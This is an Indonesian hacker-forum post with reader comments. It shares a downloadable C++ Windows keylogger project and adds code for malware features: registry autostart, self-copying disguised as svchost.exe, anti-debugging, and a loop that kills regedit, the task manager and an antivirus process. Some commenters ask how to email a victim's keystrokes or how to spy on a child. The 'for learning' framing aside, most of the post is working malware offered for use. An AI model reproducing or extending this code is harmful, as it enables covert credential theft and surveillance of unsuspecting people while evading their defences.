Hello BinusHacker Family,
Sebelumnya saya telah membahas fungsi dan tools analisa malware, sekarang saya akan berbagi source keylogger saya untuk sekedar pembelajaran kita dan pemahaman kita tentang cara kerja sebuah malware yang termasuk kategori keylogger supaya kita lebih terbuka dan memahami.
Apa itu keylogger?
Mungkin dibeberapa artikel disini telah dibahas apa itu keylogger,namun untuk lebih jelasnya,saya coba jelaskan sekali lagi ya =)

Keylogger atau Perekam Ketikan merupakan sebuah perangkat baik itu perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol papan ketik [keyboard]. Sebuah perekam ketikan atau keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol papan ketik tersebut ke dalam sebuah berkas catatan (log file). Beberapa perekam ketikan tertentu bahkan dapat mengirimkan hasil rekamannya ke surel [e-mail] tertentu secara berkala.
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti kejahatan. Kepentingan yang buruk antara lain pencurian data dan password. (wikipedia)
Beberapa kelebihan keylogger pada artikel ini?
- Keylogger berbasis API,full written in C++,mudah dikembangkan.
- Size keylogger yang relatif kecil, hanya 20-30 KB tanpa dikompresi.
- Mempunyai fitur self copy,auto startup,memonitoring proses yang aktif dan mengakhiri proses yang dapat membahayakan keylogger
- Tidak mempunyai GUI, sehingga tidak tampak di Tab App pada task manager
- No dependency, tidak usah membawa “beban” seperti keylogger yang dibuat dengan VB classic
- Silahkan ditambah sendiri 🙂
PROJECT KEYLOGGER
Mari kita mulai,pertama download Project Keylogger disini http://www.mediafire.com/?eb13zlbb80ic6r9
Oke, setelah anda download, bisa anda coba atau me-rebuild ulang projek tersebut. Saya asumsikan keylogger sudah berfungsi dan anda memahaminya, LOG file yang dibuat tidak serapih LOG file keylogger master MrHpx, sehingga anda bisa memodifikasi lagi sesuai keinginan anda.
Lanjut ke tahap pembuatan fungsi lainnya untuk membuat keylogger yang lebih powerfull
AutoStartup dan Self Copy
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key pada registry:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
//registry char myname[500],tmpdir[500]; HKEY hKey; DWORD dwFlags; //======================== extern int __argc; extern char **__argv; ATOM MyRegisterClass(HINSTANCE hInstance); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); __declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL); //EP section //registry function void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData) { int ret = 0; HKEY phkResult = (HKEY)malloc(255); ret = RegCreateKey(hKey, lpSubKey, &phkResult); ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData)); RegCloseKey(hKey); return; } |
Contoh Penggunaan AutoStartup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan nama svchost kemudian membuat key untuk auto startup:
1 2 3 4 5 6 7 8 9 |
//create startup and copying files char szCurrent[MAX_PATH]; char szPath[MAX_PATH]; GetModuleFileName(NULL,szCurrent, MAX_PATH-1); GetWindowsDirectory(szPath, sizeof(szPath)); strcat(szPath, "\\"); strcat(szPath,"svchost.exe"); CopyFile(szCurrent, szPath, true); RegWriteString(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\Currentversion\\Run", "svchost system", szPath); |
Anti Debug
1 2 3 |
// Jika didebug, maka akan keluar if(IsDebuggerPresent() == TRUE) ExitProcess(0); |
Monitoring proses aktif dan melakukan aksi kill proses yang dianggap membahayakan keylogger
Preprocessor
1 |
#include tlhelp32.h |
Deklarasi Variabel
1 2 |
DWORD WINAPI terminator(LPVOID Param); DWORD id = 0; |
Fungsi Proses Killer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
//fungsi proses killer HANDLE hProcessSnap; HANDLE hProcess; PROCESSENTRY32 pe32; void KillProc(char * szProcess) { hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hProcessSnap, &pe32); //lakukan pengulangan sampai dapat :D while(Process32Next(hProcessSnap, &pe32)) { if(!strcmp(pe32.szExeFile, szProcess)) { hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID); TerminateProcess(hProcess, 0); } } CloseHandle(hProcess); CloseHandle(hProcessSnap); } |
Penggunaan Killer Proses
1 2 3 4 5 6 7 8 9 10 11 12 |
//killer proses DWORD WINAPI terminator(LPVOID Param) { while(1) { Sleep(1000); KillProc("regedit.exe"); KillProc("taskman.exe"); KillProc("PCMAV.exe"); } return EXIT_SUCCESS; } |
Membuat thread baru untuk menjalankan fungsi monitoring dan killer proses:
1 |
CreateThread(NULL, 0, &terminator, NULL, 0, &id); |
Oia fungsi tersebut, tulis di main.cpp..
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft yang sudah dibekali optimasi pada kompilernya.
Mungkin dari anda, ada yang bertanya. Bagaimana dengan fungsi send lognya via e-mail? Owh itu tergantung kreativitas anda. Banyak referensinya.. hehe 😛
Akhir kata,selamat ber-coding dan berimajinasi =)
sob maaf gak akan saya share.. kalo saya share bisa2 temen saya tau donk kalau kompie saya kasih keylogger :p
“berbagi source keylogger saya untuk sekedar pembelajaran kita dan pemahaman kita tentang cara kerja sebuah malware yang termasuk kategori keylogger supaya kita lebih terbuka dan memahami.”
“Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat.”
🙂
kk, cara gunakan keylogger gmna kk ??
tlong ksih pnjelasan dong..
thank’s..
Gan kalo referensi buku (english or indo) ato situs untuk belajar WinAPI apa gan ?
makasih,nais info…..tp ane blm mahir :'(
*belajar lg
@shirohige : double klik.. 😀
@budi : kalau buku atau e-book yg bahas lengkap fungsi winAPI saya blm tahu,kalau situs ya ke msdn aja..lengkap =)
@ozzy : silahkan dikembangkan dan bljr lg =)
key logger lebih kpd kejahatan penggunaannya.
Oi..yeach.. Siapa pengembang key logger pertama?
sangat membantu gan . tanks 🙂
bang bsa bikinin g jadinya gtu bwt mata-matain anak gw nie yg uda ngerti komputer biar selalu terpantau aja… mkasi salam sukses
cara ngejalaninnya gmn gan?
keylogger,sebenarnya tujuan nya untuk apa ?, dan digunakan untuk kepentingan apa ? mohon pencerahan nya,gan…..
gun, cara mengirim ke email kata” yang di ketik korban gemane ???
Hah Bahasa C+++ Nya yang Masih Bingung Kk …
perlu banyak banyak Berguru Lagi ..
Wah Boleh dipelajari nih byar tetp waspada sama kejahatan macam ni.
keren,,pengen belajar
punya keylogger buat linux?
nice
gue masih bingung gan .. ni ko di notepad key logger outputnya acak acakan .. bingung jadinya .. bantuannya gan XD
Kak cara penggunaannya gimana gue masih newbie nih
cara menggunakannya gimana ni gan??
kok saya running di borland c++ error ya
mohon share ilmu nya
terima kasih
friend gua daftar jdi family di binus blh gak?
selalu ingin di pelajari thx ya
mkasih gan buat infonya